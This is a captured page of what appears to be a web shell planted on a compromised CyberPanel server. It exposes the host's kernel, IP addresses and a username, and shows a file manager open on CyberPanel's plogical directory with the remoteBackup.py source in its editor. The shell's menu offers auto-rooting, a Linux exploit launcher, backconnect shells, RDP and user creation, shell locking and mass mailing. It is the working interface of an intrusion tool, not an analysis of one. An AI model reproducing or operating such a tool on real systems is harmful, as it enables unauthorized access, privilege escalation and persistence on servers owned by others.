Linux cyberpanel 5.15.0-156-generic #166-Ubuntu SMP Sat Aug 9 00:02:46 UTC 2025 x86_64
LiteSpeed
: 160.191.175.3 | : 216.73.216.114
Cant Read [ /etc/named.conf ]
8.2.29
aodai6801
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
local /
CyberCP /
plogical /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
.my.cnf.4370
0
B
-rw-r--r--
.mysql.4370
0
B
-rw-r--r--
Backupsv2.py
59.03
KB
-rw-r--r--
ClusterManager.py
17.68
KB
-rw-r--r--
CyberCPLogFileWriter.py
4.37
KB
-rw-r--r--
CyberPanelUpgrade.py
3.64
KB
-rw-r--r--
DockerSites.py
61.86
KB
-rw-r--r--
IncScheduler.py
88.07
KB
-rw-r--r--
SwitchOldAliasToNew.py
2.4
KB
-rw-r--r--
__init__.py
0
B
-rw-r--r--
acl.py
50.61
KB
-rw-r--r--
acl.py.backup_dns_fix
48.95
KB
-rw-r--r--
adminPass.py
2.41
KB
-rw-------
alias.py
647
B
-rw-r--r--
apiAccess.py
418
B
-rw-r--r--
applicationInstaller.py
352.05
KB
-rw-r--r--
backupSchedule.py
22.21
KB
-rw-r--r--
backupScheduleLocal.py
5.31
KB
-rw-r--r--
backupUtilities.py
110.15
KB
-rw-r--r--
bandwidthReset.py
7.25
KB
-rw-r--r--
cPanelImporter.py
41.33
KB
-rw-r--r--
childDomain.py
1.25
KB
-rw-r--r--
cronUtil.py
5.34
KB
-rw-r--r--
csf.py
48.63
KB
-rw-r--r--
customACME.py
51.55
KB
-rw-r--r--
dnsUtilities.py
38.7
KB
-rw-r--r--
domain.xml
0
B
-rw-r--r--
emergency_2fa_disable.py
1.24
KB
-rw-r--r--
filesPermsUtilities.py
6.17
KB
-rw-r--r--
filesPermsUtilities.py.bak
6.17
KB
-rw-r--r--
findBWUsage.py
4.6
KB
-rw-r--r--
firewallUtilities.py
8.18
KB
-rw-r--r--
ftpUtilities.py
7.56
KB
-rw-r--r--
getSystemInformation.py
5.29
KB
-rw-r--r--
hashPassword.py
1.22
KB
-rw-r--r--
httpProc.py
4.81
KB
-rw-r--r--
installUtilities.py
19.04
KB
-rw-r--r--
letsEncrypt.py
0
B
-rw-r--r--
mailUtilities.py
104.79
KB
-rw-r--r--
modSec.py
26.71
KB
-rw-r--r--
mysqlUtilities.py
41.46
KB
-rw-r--r--
phpUtilities.py
19.8
KB
-rw-r--r--
phpmyadminsignin.php
2.08
KB
-rw-r--r--
pluginManagerGlobal.py
813
B
-rw-r--r--
processUtilities.py
22.42
KB
-rw-r--r--
randomPassword.py
200
B
-rw-r--r--
rebuildQuotas.py
3.29
KB
-rw-r--r--
remoteBackup.py
14.81
KB
-rw-r--r--
remoteTransferUtilities.py
16.43
KB
-rw-r--r--
renew.py
5.64
KB
-rwxr-xr-x
restoreMeta.py
7.65
KB
-rw-r--r--
serverLogs.py
735
B
-rw-r--r--
sslUtilities.py
49.26
KB
-rw-r--r--
sslv2.py
26.18
KB
-rw-r--r--
test.py
0
B
-rw-r--r--
test1.py
0
B
-rw-r--r--
tuning.py
18.08
KB
-rw-r--r--
upgrade.py
213.62
KB
-rw-r--r--
upgrade.py.bak
97.03
KB
-rw-r--r--
upgradeCritical.py
1.15
KB
-rwx------
vhost.py
47
KB
-rw-r--r--
vhostConfs.py
14.41
KB
-rw-r--r--
virtualHostUtilities.py
92.31
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : remoteBackup.py
from plogical import CyberCPLogFileWriter as logging import os import requests import json import time from plogical import backupUtilities as backupUtil import subprocess import shlex from multiprocessing import Process from plogical.backupSchedule import backupSchedule from shutil import rmtree class remoteBackup: @staticmethod def getKey(ipAddress, password): try: finalData = json.dumps({'username': "admin", "password": password}) url = "https://" + ipAddress + ":8090/api/fetchSSHkey" r = requests.post(url, data=finalData, verify=False) data = json.loads(r.text) if data['pubKeyStatus'] == 1: return [1, data["pubKey"]] else: return [0, data['error_message']] except BaseException as msg: logging.CyberCPLogFileWriter.writeToFile(str(msg) + " [getKey]") return [0,"Not able to fetch key from remote server, Error Message:" + str(msg)] @staticmethod def startRestore(backupDir,backupLogPath,dir): try: ext = ".tar.gz" for backup in os.listdir(backupDir): if backup.endswith(ext): writeToFile = open(backupLogPath, "a") writeToFile.writelines("\n") writeToFile.writelines("\n") writeToFile.writelines("[" + time.strftime( "%m.%d.%Y_%H-%M-%S") + "]" + " Starting restore for: "+backup+".\n") writeToFile.close() finalData = json.dumps({'backupFile': backup, "dir": dir}) r = requests.post("http://localhost:5003/backup/submitRestore", data=finalData, verify=False) data = json.loads(r.text) if data['restoreStatus'] == 1: while (1): time.sleep(1) finalData = json.dumps({'backupFile': backup, "dir": dir}) r = requests.post("http://localhost:5003/backup/restoreStatus", data=finalData, verify=False) data = json.loads(r.text) if data['abort'] == 1 and data['running'] == "Error": writeToFile = open(backupLogPath, "a") writeToFile.writelines("\n") writeToFile.writelines("\n") writeToFile.writelines("[" + time.strftime( "%m.%d.%Y_%H-%M-%S") + "]" + " Restore aborted for: " + backup + ". Error message: "+data['status']+"\n") writeToFile.writelines("[" + time.strftime( "%m.%d.%Y_%H-%M-%S") + "]" + " #########################################\n") writeToFile.close() break elif data['abort'] == 1 and data['running'] == "Completed": writeToFile = open(backupLogPath, "a") writeToFile.writelines("\n") writeToFile.writelines("\n") writeToFile.writelines("[" + time.strftime( "%m.%d.%Y_%H-%M-%S") + "]" + " Restore Completed for: " + backup + ".\n") writeToFile.writelines("[" + time.strftime( "%m.%d.%Y_%H-%M-%S") + "]" + " #########################################\n") writeToFile.close() break else: writeToFile = open(backupLogPath, "a") writeToFile.writelines("\n") writeToFile.writelines("\n") writeToFile.writelines("[" + time.strftime( "%m.%d.%Y_%H-%M-%S") + "]" + " Waiting for restore to complete.\n") writeToFile.close() time.sleep(3) pass else: logging.CyberCPLogFileWriter.writeToFile("Could not start restore process for: " + backup) writeToFile = open(backupLogPath, "a") writeToFile.writelines("\n") writeToFile.writelines("\n") writeToFile.writelines("[" + time.strftime( "%m.%d.%Y_%H-%M-%S") + "]" + "Could not start restore process for: " + backup + "\n") writeToFile.close() writeToFile = open(backupLogPath, "a") writeToFile.writelines("\n") writeToFile.writelines("\n") writeToFile.writelines("[" + time.strftime( "%m.%d.%Y_%H-%M-%S") + "]" + " Backup Restore complete\n") writeToFile.writelines("completed[success]") except BaseException as msg: logging.CyberCPLogFileWriter.writeToFile(str(msg) + " [initiateRestore]") @staticmethod def remoteRestore(backupDir, dir): try: ## dir is transfer-### # backupDir is /home/backup/transfer-### backupLogPath = backupDir + "/backup_log" writeToFile = open(backupLogPath, "a+") writeToFile.writelines("\n") writeToFile.writelines("\n") writeToFile.writelines("############################\n") writeToFile.writelines(" Starting Backup Restore\n") writeToFile.writelines(" Start date: " + time.strftime("%m.%d.%Y_%H-%M-%S") + "\n") writeToFile.writelines("############################\n") writeToFile.writelines("\n") writeToFile.writelines("\n") writeToFile.close() if os.path.exists(backupDir): pass else: return [0, 'No such directory found'] p = Process(target=remoteBackup.startRestore, args=(backupDir, backupLogPath,dir,)) p.start() return [1, 'Started'] pid = open(destination + '/pid', "w") pid.write(str(p.pid)) pid.close() except BaseException as msg: logging.CyberCPLogFileWriter.writeToFile(str(msg) + " [remoteRestore]") return [0, msg] @staticmethod def postRemoteTransfer(ipAddress, ownIP ,password, sshkey): try: finalData = json.dumps({'username': "admin", "ipAddress": ownIP, "password": password}) url = "https://" + ipAddress + ":8090/api/remoteTransfer" r = requests.post(url, data=finalData, verify=False) data = json.loads(r.text) if data['transferStatus'] == 1: path = "/home/backup/transfer-"+data['dir'] if not os.path.exists(path): os.makedirs(path) return [1, data['dir']] else: return [0, data['error_message']] except BaseException as msg: logging.CyberCPLogFileWriter.writeToFile(str(msg) + " [postRemoteTransfer]") return [0, msg] @staticmethod def createBackup(virtualHost, ipAddress,writeToFile, dir): try: writeToFile.writelines("Location: "+dir + "\n") writeToFile.writelines("["+time.strftime("%m.%d.%Y_%H-%M-%S")+"]"+" Preparing to create backup for: "+virtualHost+"\n") writeToFile.writelines("[" + time.strftime( "%m.%d.%Y_%H-%M-%S") + "]" + " Backup started for: " + virtualHost + "\n") finalData = json.dumps({'websiteToBeBacked': virtualHost}) r = requests.post("http://localhost:5003/backup/submitBackupCreation", data=finalData,verify=False) data = json.loads(r.text) backupPath = data['tempStorage'] while (1): r = requests.post("http://localhost:5003/backup/backupStatus", data= finalData,verify=False) time.sleep(2) data = json.loads(r.text) if data['status'] == 0: break writeToFile.writelines("[" + time.strftime( "%m.%d.%Y_%H-%M-%S") + "]" + " Backup created for:" + virtualHost + "\n") writeToFile.writelines("[" + time.strftime( "%m.%d.%Y_%H-%M-%S") + "]" + " Preparing to send backup for: " + virtualHost +" to "+ipAddress+ "\n") writeToFile.flush() remoteBackup.sendBackup(backupPath+".tar.gz", ipAddress,writeToFile, dir) writeToFile.writelines("[" + time.strftime( "%m.%d.%Y_%H-%M-%S") + "]" + " Backup for: " + virtualHost + " is sent to " + ipAddress + "\n") writeToFile.writelines("\n") writeToFile.writelines("\n") writeToFile.writelines("#####################################") writeToFile.writelines("\n") writeToFile.writelines("\n") except BaseException as msg: logging.CyberCPLogFileWriter.writeToFile(str(msg) + " [214:startBackup]") @staticmethod def sendBackup(completedPathToSend, IPAddress, folderNumber,writeToFile): try: ## complete path is a path to the file need to send command = 'sudo rsync -avz -e "ssh -i /root/.ssh/cyberpanel -o StrictHostKeyChecking=no" ' + completedPathToSend + ' root@' + IPAddress + ':/home/backup/transfer-'+folderNumber subprocess.call(shlex.split(command), stdout=writeToFile) os.remove(completedPathToSend) except BaseException as msg: logging.CyberCPLogFileWriter.writeToFile(str(msg) + " [startBackup]") @staticmethod def backupProcess(ipAddress, dir, backupLogPath,folderNumber, accountsToTransfer): try: ## dir is without forward slash for virtualHost in accountsToTransfer: try: if virtualHost == "vmail" or virtualHost == "backup": continue writeToFile = open(backupLogPath, "a") writeToFile.writelines("[" + time.strftime( "%m.%d.%Y_%H-%M-%S") + "]" + " Currently generating local backups for: " + virtualHost + "\n") writeToFile.close() retValues = backupSchedule.createLocalBackup(virtualHost, backupLogPath) if retValues[0] == 1: writeToFile = open(backupLogPath, "a") writeToFile.writelines("[" + time.strftime( "%m.%d.%Y_%H-%M-%S") + "]" + " Local Backup Completed for: " + virtualHost + "\n") ## move the generated backup file to specified destination completedPathToSend = retValues[1] + ".tar.gz" writeToFile.writelines("[" + time.strftime( "%m.%d.%Y_%H-%M-%S") + "]" + " Sending " + completedPathToSend + " to " + ipAddress + ".\n") remoteBackup.sendBackup(completedPathToSend, ipAddress, str(folderNumber), writeToFile) writeToFile.writelines("[" + time.strftime( "%m.%d.%Y_%H-%M-%S") + "]" + " Sent " + completedPathToSend + " to " + ipAddress + ".\n") writeToFile.writelines("[" + time.strftime( "%m.%d.%Y_%H-%M-%S") + "]" + " #############################################" + "\n") writeToFile.close() else: writeToFile = open(backupLogPath, "a") writeToFile.writelines("[" + time.strftime( "%m.%d.%Y_%H-%M-%S") + "]" + 'Local backup failed for %s. Error message: %s' % (virtualHost, retValues[1]) ) writeToFile.close() except: pass writeToFile = open(backupLogPath, "a") writeToFile.writelines("[" + time.strftime( "%m.%d.%Y_%H-%M-%S") + "]" + " Backups are successfully generated and received on: " + ipAddress + "\n") writeToFile.close() ## removing local directory where backups were generated time.sleep(5) rmtree(dir) except BaseException as msg: logging.CyberCPLogFileWriter.writeToFile(str(msg) + " [backupProcess]") @staticmethod def remoteTransfer(ipAddress, dir,accountsToTransfer): try: destination = "/home/backup/transfer-" + dir backupLogPath = destination + "/backup_log" if not os.path.exists(destination): os.makedirs(destination) writeToFile = open(backupLogPath, "w+") writeToFile.writelines("############################\n") writeToFile.writelines(" Starting remote Backup\n") writeToFile.writelines(" Start date: " + time.strftime("%m.%d.%Y_%H-%M-%S") + "\n") writeToFile.writelines("############################\n") writeToFile.writelines("\n") writeToFile.writelines("\n") if backupUtil.backupUtilities.checkIfHostIsUp(ipAddress) == 1: checkConn = backupUtil.backupUtilities.checkConnection(ipAddress) if checkConn[0] == 0: writeToFile.writelines("[" + time.strftime( "%m.%d.%Y_%H-%M-%S") + "]" + " Connection to:" + ipAddress + " Failed, please resetup this destination from CyberPanel, aborting." + "\n") writeToFile.close() return [0, checkConn[1]] else: pass else: writeToFile.writelines("[" + time.strftime( "%m.%d.%Y_%H-%M-%S") + "]" + " Host:" + ipAddress + " is down, aborting." + "\n") writeToFile.close() return [0, "Remote server is not able to communicate with this server."] writeToFile.close() p = Process(target=remoteBackup.backupProcess, args=(ipAddress, destination, backupLogPath,dir,accountsToTransfer)) p.start() pid = open(destination + '/pid', "w") pid.write(str(p.pid)) pid.close() return [1, None] except BaseException as msg: logging.CyberCPLogFileWriter.writeToFile(str(msg) + " [remoteTransfer]") return [0, msg]
Close